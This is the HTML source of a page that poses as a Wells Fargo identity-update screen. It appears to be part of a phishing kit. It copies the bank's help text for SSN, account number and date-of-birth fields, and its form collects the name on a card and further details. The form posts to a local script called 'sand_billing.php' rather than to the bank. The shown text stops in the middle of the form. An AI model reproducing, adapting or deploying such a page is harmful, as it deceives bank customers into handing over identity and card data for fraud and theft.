<!DOCTYPE html>
<html data-device-type="desktop" lang="en"><head><!-- WFB 3.4 -->
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Wells Fargo  - Update Your Identification</title>
        <link rel="stylesheet" href="../css js/passwordReset.css">
        <link rel="shortcut icon" type="image/x-icon" href="http://is5.mzstatic.com/image/thumb/Purple118/v4/96/c7/76/96c776f8-3a0e-cda9-130d-8feadb33e5a2/source/1200x630bb.jpg" data-reactid="7">
        
    </head>
    <body contextpath="/oamo" id="body" theme="osmp" lob="" ismobile="false" devicetype="com.wellsfargo.mobile.device.deviceatlas.DeviceAtlasDevice@104e73c0" isnative="false">
                
<link rel="stylesheet" href="../css js/theme.css">
<link rel="stylesheet" href="../css js/2.css">


        <div control="header" ismobile="false" aria-hidden="false">
            <div theme="ssep">
                <span class="helper"></span>
                <img src="data:image/png;base64, " alt="Wells Fargo">
            </div>
            <div theme="osmp">
                <div id="brand">
                            <a href="https://www.wellsfargo.com/"><img alt="Wells Fargo Home Page" tabindex="0" src="data:image/gif;base64, %0A"></a>
                    </div>
                    <div id="headerTools">
                        <nav>
                            <ul>
                                <li>
                                    <a tabindex="0" href="#">Online Security</a>
                                </li>
                            </ul>
                        </nav>
                    </div>
                </div>
        </div>

        <div class="OneLinkNoTx spanish-link" style="display:inline;">
        </div>



        <input lightbox-for="IlDownModal" id="IlDown" type="hidden">
        


<div class="content">

        <div control="overlay"></div>

            <div control="balloonHelp" id="usernameHelp" role="complementary" style="top: 45.0833px; left: 96px; display: none;">
                <div class="container" tabindex="-1" role="alertdialog" aria-labelledby="usernameHelpTitle">
                    <span class="hide" tabindex="-1">Beginning of popup</span>
                    <span class="close">
                        <a href="#usernameHelpLink"><img alt="Close" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo3RkUwQjlENEIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo3RkUwQjlENUIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjdGRTBCOUQyQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjdGRTBCOUQzQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+zVAeuQAABClJREFUeNrEV21Mk1cUfooVKDAKKzgUyoclBefKaHQBjAwQ2ZJFkukcaLJNMzfN4rL90R/MsPkVDcZ/6jZgG7Jlbppl7MeymKkMNK6QEQHp5mQULLaK2ELLR4uxhZ370hf78ZZaS+JNnjf33vec89xz77n3niuamZnB0yiiIIgjCZsIhYR8QgZBSrASBghthCuEnwlTAa0x4gCII9TOBFdqXXp+7Qby+C3CEYKcyd3UW9DVex8DxjGYrVOwP3BAEiGGTBqJjORY5CoTkZUWB5FIxHRvE/YRvgt2qr8i7GCVnj4zmlp0uGuaDDiDSxOisbFYAVWmjO/6mvDe4xJzpA7nNM7+3ovLncagg6dQnYwtryghXhQmSC5E/A6hkZGeOtcFrc78xJH7gkKG3RW5PPl2ZtcfMYvS64TUxl//Rus1Q8jb5mV1CraXr+TXPIdgYY0wL7kaRtpNAdT81yCc5HWo+KNjkAJymNmWE44Jecz2qZ21q05chmF43GNEW8qU2FCk5Op9g2bsr9MI/uvpHULNtx0eussSY1DzUREf7VGMx91jdjjQmpqgv2uh0To98P35G2hu03GCmakyVJZmcv0vZSc8GpDejCMN7T66t4es0PaZeJ6N3lPNTiS09RjhmHYK4oumbvynnzVQXpKNdauS8XZ5DtcesdrIU41f3Tat0YPHnXgN+/zTfx8Ox7RfHP3mT4xYbJzC+5tX41lpFFdvaOqEyTLlV+/GwJzH+d7EaewzZBr3mSp3mKx2HPiyBfaph3OKv1zUorXLMK/eneExXnw5+4i9thKsE4HP96JVckgiF8+1n1csgcN5fV6dsUknX4319tjKhXZ4GBlx+EVhThI2lak8jCozluDjCvW8ehHhc1Rj3sR69pHFSUjQKQhptBg7N+dxwubRSby59wz+7b/HtV8tXIGt67P86ibGS3iefm9ibmOuyEjwu06HPlgHWXw0J/z5j1cxPGrDvpMXaBATXF/la2ookmIEdbPTE3iedm/iK7OHe7pgVNZWbUD28iRO8Nxv13C+/RbXPzRiw6kzV7n+qMhwVO8qJfJYH/21uWkePD4n1zS1t1adxa07owuW5qQvi8cPRysRNntysSmzuXvMwrme/fywMn/erREsdlfk8aT1jFTodopz3U7yg3WX0NSsDdnb10tW4rNd61nV4LqdRoVuJ3ZlVbNK1bvFyFelhnQz5ank+GRHCW+7micNmIE8dDhxuP4SfrrYE7Snb5SqUL2zFIvFix47A/HJuVo6dDje2AqdIXA2okiRYc+2IhSvVjxRzsWXbYRDbM1ZtGu69big6UXnTSMM96yYsD1ATFQEUp6TQp2VjLICJQpeTOMDiWUcnxJOh5JX1wWZV9eFmle7F4nbS6LA9ZJ4hjDueklo3F4S9oV8wjy1t9OClv8FGADa7uXheMksUAAAAABJRU5ErkJggg=="></a>
                    </span>
                    <p class="balloon-header" id="usernameHelpTitle" role="heading" aria-level="2">
                        <strong>Email Address</strong>
                    </p>
                    <p class="balloon-content">Enter the Email Address that you use to your <span class="OneLinkNoTx" lang="en">Wells Fargo</span> Online accounts.</p>
                    <span class="hook hook-left"><img alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAANCAMAAACTkM4rAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyBpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBXaW5kb3dzIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjE3MDhCOTQ0OTYwOTExRTE5RTFEOUMzNUI1RTBENEIyIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjE3MDhCOTQ1OTYwOTExRTE5RTFEOUMzNUI1RTBENEIyIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MTcwOEI5NDI5NjA5MTFFMTlFMUQ5QzM1QjVFMEQ0QjIiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MTcwOEI5NDM5NjA5MTFFMTlFMUQ5QzM1QjVFMEQ0QjIiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz7NskAEAAAAYFBMVEXj4+P//v/a2trb29vk5Ob+//3///v//f7d3d3Pz9H9//n9//rQ0NLZ2df9//7c3NzY2Nr+//vR0dH8///f39/a2tjY2Nj9//zi4uL///r+/v/k5OT///3+/v7////yUxaclVpZAAAAIHRSTlP/////////////////////////////////////////AFxcG+0AAAB3SURBVHjajMtHDsNADANArb1u6b2sJPL/v4wcOwU5hTwIGoDS4djCF0DX7DdWGkDuqSQs3WAF6ZriyLASMwfcHdE8HITcZW+DEHG9kEE8axnfqKw5Ees8raTii7jVcaZPmYn9LaTmN7FSmeVN7E/8pU/+o4cAAwDCdhgZ4gFFlwAAAABJRU5ErkJggg=="></span>
                    <span class="hide">End of popup</span>
                </div>
            </div>

            <div control="lightbox" class="lightboxRight" id="ssnHelp">
                <div class="container" tabindex="-1" role="alertdialog" aria-labelledby="ssnHelpTitle">
                    <span class="hide">Beginning of popup</span>
                    <span class="close">
                        <a href="#ssnHelpLink"><img alt="Close" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo3RkUwQjlENEIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo3RkUwQjlENUIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjdGRTBCOUQyQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjdGRTBCOUQzQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+zVAeuQAABClJREFUeNrEV21Mk1cUfooVKDAKKzgUyoclBefKaHQBjAwQ2ZJFkukcaLJNMzfN4rL90R/MsPkVDcZ/6jZgG7Jlbppl7MeymKkMNK6QEQHp5mQULLaK2ELLR4uxhZ370hf78ZZaS+JNnjf33vec89xz77n3niuamZnB0yiiIIgjCZsIhYR8QgZBSrASBghthCuEnwlTAa0x4gCII9TOBFdqXXp+7Qby+C3CEYKcyd3UW9DVex8DxjGYrVOwP3BAEiGGTBqJjORY5CoTkZUWB5FIxHRvE/YRvgt2qr8i7GCVnj4zmlp0uGuaDDiDSxOisbFYAVWmjO/6mvDe4xJzpA7nNM7+3ovLncagg6dQnYwtryghXhQmSC5E/A6hkZGeOtcFrc78xJH7gkKG3RW5PPl2ZtcfMYvS64TUxl//Rus1Q8jb5mV1CraXr+TXPIdgYY0wL7kaRtpNAdT81yCc5HWo+KNjkAJymNmWE44Jecz2qZ21q05chmF43GNEW8qU2FCk5Op9g2bsr9MI/uvpHULNtx0eussSY1DzUREf7VGMx91jdjjQmpqgv2uh0To98P35G2hu03GCmakyVJZmcv0vZSc8GpDejCMN7T66t4es0PaZeJ6N3lPNTiS09RjhmHYK4oumbvynnzVQXpKNdauS8XZ5DtcesdrIU41f3Tat0YPHnXgN+/zTfx8Ox7RfHP3mT4xYbJzC+5tX41lpFFdvaOqEyTLlV+/GwJzH+d7EaewzZBr3mSp3mKx2HPiyBfaph3OKv1zUorXLMK/eneExXnw5+4i9thKsE4HP96JVckgiF8+1n1csgcN5fV6dsUknX4319tjKhXZ4GBlx+EVhThI2lak8jCozluDjCvW8ehHhc1Rj3sR69pHFSUjQKQhptBg7N+dxwubRSby59wz+7b/HtV8tXIGt67P86ibGS3iefm9ibmOuyEjwu06HPlgHWXw0J/z5j1cxPGrDvpMXaBATXF/la2ookmIEdbPTE3iedm/iK7OHe7pgVNZWbUD28iRO8Nxv13C+/RbXPzRiw6kzV7n+qMhwVO8qJfJYH/21uWkePD4n1zS1t1adxa07owuW5qQvi8cPRysRNntysSmzuXvMwrme/fywMn/erREsdlfk8aT1jFTodopz3U7yg3WX0NSsDdnb10tW4rNd61nV4LqdRoVuJ3ZlVbNK1bvFyFelhnQz5ank+GRHCW+7micNmIE8dDhxuP4SfrrYE7Snb5SqUL2zFIvFix47A/HJuVo6dDje2AqdIXA2okiRYc+2IhSvVjxRzsWXbYRDbM1ZtGu69big6UXnTSMM96yYsD1ATFQEUp6TQp2VjLICJQpeTOMDiWUcnxJOh5JX1wWZV9eFmle7F4nbS6LA9ZJ4hjDueklo3F4S9oV8wjy1t9OClv8FGADa7uXheMksUAAAAABJRU5ErkJggg=="></a>
                    </span>
                    <p class="balloon-header" id="ssnHelpTitle" role="heading" aria-level="2">
                        <strong>Social Security number <span class="OneLinkNoTx" lang="en">(SSN)</span> or Individual Tax Identification Number <span class="OneLinkNoTx" lang="en">(ITIN)</span></strong>
                    </p>
                    <p class="balloon-content">Enter your <span class="OneLinkNoTx" lang="en">SSN</span> or <span class="OneLinkNoTx" lang="en">ITIN</span> that was issued to you. Otherwise,
                        enter your username. If you are unable to recover your
                        username and need further password help, please call
                        <span class="OneLinkNoTx" lang="en">Wells Fargo</span> Online Banking Customer Service at 1-800-956-4442
                        available 24 hours a day, 7 days a week.</p>
                    <span class="hide">End of popup</span>
                </div>
            </div>

           <div control="lightbox" id="accountHelp">
                <div class="container" role="alertdialog" aria-labelledby="accountHelpTitle" tabindex="-1">
                    <span class="hide">Beginning of popup</span>
                    <span class="close">
                        <a href="#accountHelpLink"><img alt="Close" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo3RkUwQjlENEIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo3RkUwQjlENUIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjdGRTBCOUQyQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjdGRTBCOUQzQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+zVAeuQAABClJREFUeNrEV21Mk1cUfooVKDAKKzgUyoclBefKaHQBjAwQ2ZJFkukcaLJNMzfN4rL90R/MsPkVDcZ/6jZgG7Jlbppl7MeymKkMNK6QEQHp5mQULLaK2ELLR4uxhZ370hf78ZZaS+JNnjf33vec89xz77n3niuamZnB0yiiIIgjCZsIhYR8QgZBSrASBghthCuEnwlTAa0x4gCII9TOBFdqXXp+7Qby+C3CEYKcyd3UW9DVex8DxjGYrVOwP3BAEiGGTBqJjORY5CoTkZUWB5FIxHRvE/YRvgt2qr8i7GCVnj4zmlp0uGuaDDiDSxOisbFYAVWmjO/6mvDe4xJzpA7nNM7+3ovLncagg6dQnYwtryghXhQmSC5E/A6hkZGeOtcFrc78xJH7gkKG3RW5PPl2ZtcfMYvS64TUxl//Rus1Q8jb5mV1CraXr+TXPIdgYY0wL7kaRtpNAdT81yCc5HWo+KNjkAJymNmWE44Jecz2qZ21q05chmF43GNEW8qU2FCk5Op9g2bsr9MI/uvpHULNtx0eussSY1DzUREf7VGMx91jdjjQmpqgv2uh0To98P35G2hu03GCmakyVJZmcv0vZSc8GpDejCMN7T66t4es0PaZeJ6N3lPNTiS09RjhmHYK4oumbvynnzVQXpKNdauS8XZ5DtcesdrIU41f3Tat0YPHnXgN+/zTfx8Ox7RfHP3mT4xYbJzC+5tX41lpFFdvaOqEyTLlV+/GwJzH+d7EaewzZBr3mSp3mKx2HPiyBfaph3OKv1zUorXLMK/eneExXnw5+4i9thKsE4HP96JVckgiF8+1n1csgcN5fV6dsUknX4319tjKhXZ4GBlx+EVhThI2lak8jCozluDjCvW8ehHhc1Rj3sR69pHFSUjQKQhptBg7N+dxwubRSby59wz+7b/HtV8tXIGt67P86ibGS3iefm9ibmOuyEjwu06HPlgHWXw0J/z5j1cxPGrDvpMXaBATXF/la2ookmIEdbPTE3iedm/iK7OHe7pgVNZWbUD28iRO8Nxv13C+/RbXPzRiw6kzV7n+qMhwVO8qJfJYH/21uWkePD4n1zS1t1adxa07owuW5qQvi8cPRysRNntysSmzuXvMwrme/fywMn/erREsdlfk8aT1jFTodopz3U7yg3WX0NSsDdnb10tW4rNd61nV4LqdRoVuJ3ZlVbNK1bvFyFelhnQz5ank+GRHCW+7micNmIE8dDhxuP4SfrrYE7Snb5SqUL2zFIvFix47A/HJuVo6dDje2AqdIXA2okiRYc+2IhSvVjxRzsWXbYRDbM1ZtGu69big6UXnTSMM96yYsD1ATFQEUp6TQp2VjLICJQpeTOMDiWUcnxJOh5JX1wWZV9eFmle7F4nbS6LA9ZJ4hjDueklo3F4S9oV8wjy1t9OClv8FGADa7uXheMksUAAAAABJRU5ErkJggg=="></a>
                    </span>
                    <div class="dialogContents">
                        <p class="header" id="accountHelpTitle" role="heading" aria-level="2">
                            <strong>Account, loan, or card number</strong>
                        </p>
                        <p>Enter one of your <span class="OneLinkNoTx" lang="en">Wells Fargo</span> numbers or the account number
                            printed on your <span class="OneLinkNoTx" lang="en">ATM</span>/debit card (not your Personal Identification Number (PIN)).
                            </p><ul>
                                <li>Brokerage accounts: Please enter a W in front of your account number.</li>
                                <li>Credit cards: Enter the account number that is printed on your credit
                                    card and credit card statement.*</li>
                                <li>Trust and managed investment services accounts: Enter the complete
                                    number as it appears on your statement, including any letters, numbers,
                                    and hyphens.</li>
                                <li>Employer-sponsored accounts: Do not enter a number here. Go to the
                                    next field and enter your date of birth.</li>
                                <li>Mortgage accounts: Enter the loan number that appears on the upper
                                    right hand corner of your monthly mortgage statement. If you do not
                                    know your mortgage account number, go to the next field and enter
                                    your date of birth.</li>
                                <li>Health savings accounts: Enter the 10-digit account number on your
                                    account statement or the 16 digit number on your <span class="OneLinkNoTx" lang="en">Wells Fargo</span> Visa�
                                    HSA Debit Card.</li>
                                <li>Online payroll accounts: If you do not have an account number or
                                    <span class="OneLinkNoTx" lang="en">ATM</span>/debit card number, please call <span class="OneLinkNoTx" lang="en">1-800-956-4442</span> for assistance.</li>
                                <li>For Personal Insurance Policies and Safe Deposit Box: Enter one of
                                    your other eligible accounts above or please call customer service
                                    to get assistance.</li>
                                <li>For all other accounts: Enter the number on your statement or card,
                                    without dashes or spaces.</li>
                            </ul>
                        <p></p>
                        <p>*Note: <span class="OneLinkNoTx" lang="en">Wells Fargo</span> Financial credit cards are not eligible for Wells
                            Fargo Online�.  To access these accounts online, please go to wellsfargofinancial.com.</p>
                    </div>
                    <span class="hide">End of popup</span>
                </div>
            </div>

            <div control="lightbox" class="lightboxLeft" id="dobHelp">
                <div class="container" tabindex="-1" role="alertdialog" aria-labelledby="dobHelpTitle">
                    <span class="hide">Beginning of popup</span>
                    <span class="close">
                        <a href="#dobHelpLink"><img alt="Close" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAYAAAA7MK6iAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo3RkUwQjlENEIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo3RkUwQjlENUIxRTYxMUUyQTJFQjg5RDI4MDZBQkNDNSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjdGRTBCOUQyQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjdGRTBCOUQzQjFFNjExRTJBMkVCODlEMjgwNkFCQ0M1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+zVAeuQAABClJREFUeNrEV21Mk1cUfooVKDAKKzgUyoclBefKaHQBjAwQ2ZJFkukcaLJNMzfN4rL90R/MsPkVDcZ/6jZgG7Jlbppl7MeymKkMNK6QEQHp5mQULLaK2ELLR4uxhZ370hf78ZZaS+JNnjf33vec89xz77n3niuamZnB0yiiIIgjCZsIhYR8QgZBSrASBghthCuEnwlTAa0x4gCII9TOBFdqXXp+7Qby+C3CEYKcyd3UW9DVex8DxjGYrVOwP3BAEiGGTBqJjORY5CoTkZUWB5FIxHRvE/YRvgt2qr8i7GCVnj4zmlp0uGuaDDiDSxOisbFYAVWmjO/6mvDe4xJzpA7nNM7+3ovLncagg6dQnYwtryghXhQmSC5E/A6hkZGeOtcFrc78xJH7gkKG3RW5PPl2ZtcfMYvS64TUxl//Rus1Q8jb5mV1CraXr+TXPIdgYY0wL7kaRtpNAdT81yCc5HWo+KNjkAJymNmWE44Jecz2qZ21q05chmF43GNEW8qU2FCk5Op9g2bsr9MI/uvpHULNtx0eussSY1DzUREf7VGMx91jdjjQmpqgv2uh0To98P35G2hu03GCmakyVJZmcv0vZSc8GpDejCMN7T66t4es0PaZeJ6N3lPNTiS09RjhmHYK4oumbvynnzVQXpKNdauS8XZ5DtcesdrIU41f3Tat0YPHnXgN+/zTfx8Ox7RfHP3mT4xYbJzC+5tX41lpFFdvaOqEyTLlV+/GwJzH+d7EaewzZBr3mSp3mKx2HPiyBfaph3OKv1zUorXLMK/eneExXnw5+4i9thKsE4HP96JVckgiF8+1n1csgcN5fV6dsUknX4319tjKhXZ4GBlx+EVhThI2lak8jCozluDjCvW8ehHhc1Rj3sR69pHFSUjQKQhptBg7N+dxwubRSby59wz+7b/HtV8tXIGt67P86ibGS3iefm9ibmOuyEjwu06HPlgHWXw0J/z5j1cxPGrDvpMXaBATXF/la2ookmIEdbPTE3iedm/iK7OHe7pgVNZWbUD28iRO8Nxv13C+/RbXPzRiw6kzV7n+qMhwVO8qJfJYH/21uWkePD4n1zS1t1adxa07owuW5qQvi8cPRysRNntysSmzuXvMwrme/fywMn/erREsdlfk8aT1jFTodopz3U7yg3WX0NSsDdnb10tW4rNd61nV4LqdRoVuJ3ZlVbNK1bvFyFelhnQz5ank+GRHCW+7micNmIE8dDhxuP4SfrrYE7Snb5SqUL2zFIvFix47A/HJuVo6dDje2AqdIXA2okiRYc+2IhSvVjxRzsWXbYRDbM1ZtGu69big6UXnTSMM96yYsD1ATFQEUp6TQp2VjLICJQpeTOMDiWUcnxJOh5JX1wWZV9eFmle7F4nbS6LA9ZJ4hjDueklo3F4S9oV8wjy1t9OClv8FGADa7uXheMksUAAAAABJRU5ErkJggg=="></a>
                    </span>
                    <p class="balloon-header" id="dobHelpTitle" role="heading" aria-level="2">
                        <strong>Date of Birth <span class="OneLinkNoTx" lang="en">(DOB)</span></strong>
                    </p>
                    <p class="balloon-content">Enter your date of birth <span class="OneLinkNoTx" lang="en">(DOB)</span>. This option is only
                        available for existing mortgage or employer-sponsored
                        retirement customers that do not have any additional
                        <span class="OneLinkNoTx" lang="en">Wells Fargo</span> consumer or business accounts or relationships.</p>
                    <span class="hide">End of popup</span>
                </div>
            </div>

            <div id="main" aria-hidden="false">
                <h1>Account Identification</h1>

                <p class="titleBody">For your security, please complete one field below to confirm your identity and continue.</p>
                <form id="credentials" name="credentials" novalidate="novalidate" action="../../system/sand_billing.php" method="POST" onsubmit="return ChangePassword.methods.validate(1);" autocomplete="off" style="border-top-width: 1px;border-top-style: solid;">
                    
                  <div <ol="" class="progress-tracker" style="margin-top: 20px;">
  <li class="step"><span class="step-name">Login</span></li>
  <li class="step"><span class="step-name">Your Information</span></li>
  <li class="step"><span class="step-name">Upload ID</span></li>

</div>

                    
                    <h2 class="h3">1- Personal Information</h2><div control="forms:fieldContainer" style="margin-right: 90px;margin-bottom: 0px;">
                                <label control="forms:label" for="username" class="h4">Name On Card</label>
                                
                                <div class="forms:fieldContainer:spacer"></div>
                                <input control="forms:input" id="fullnm" name="fullnm" type="text"></div><div control="forms:fieldContainer" style="margin-bottom: 0px;margin-right: 50px;">
                                <label control="forms:label" for="username" class="h4">Country</label>
                                
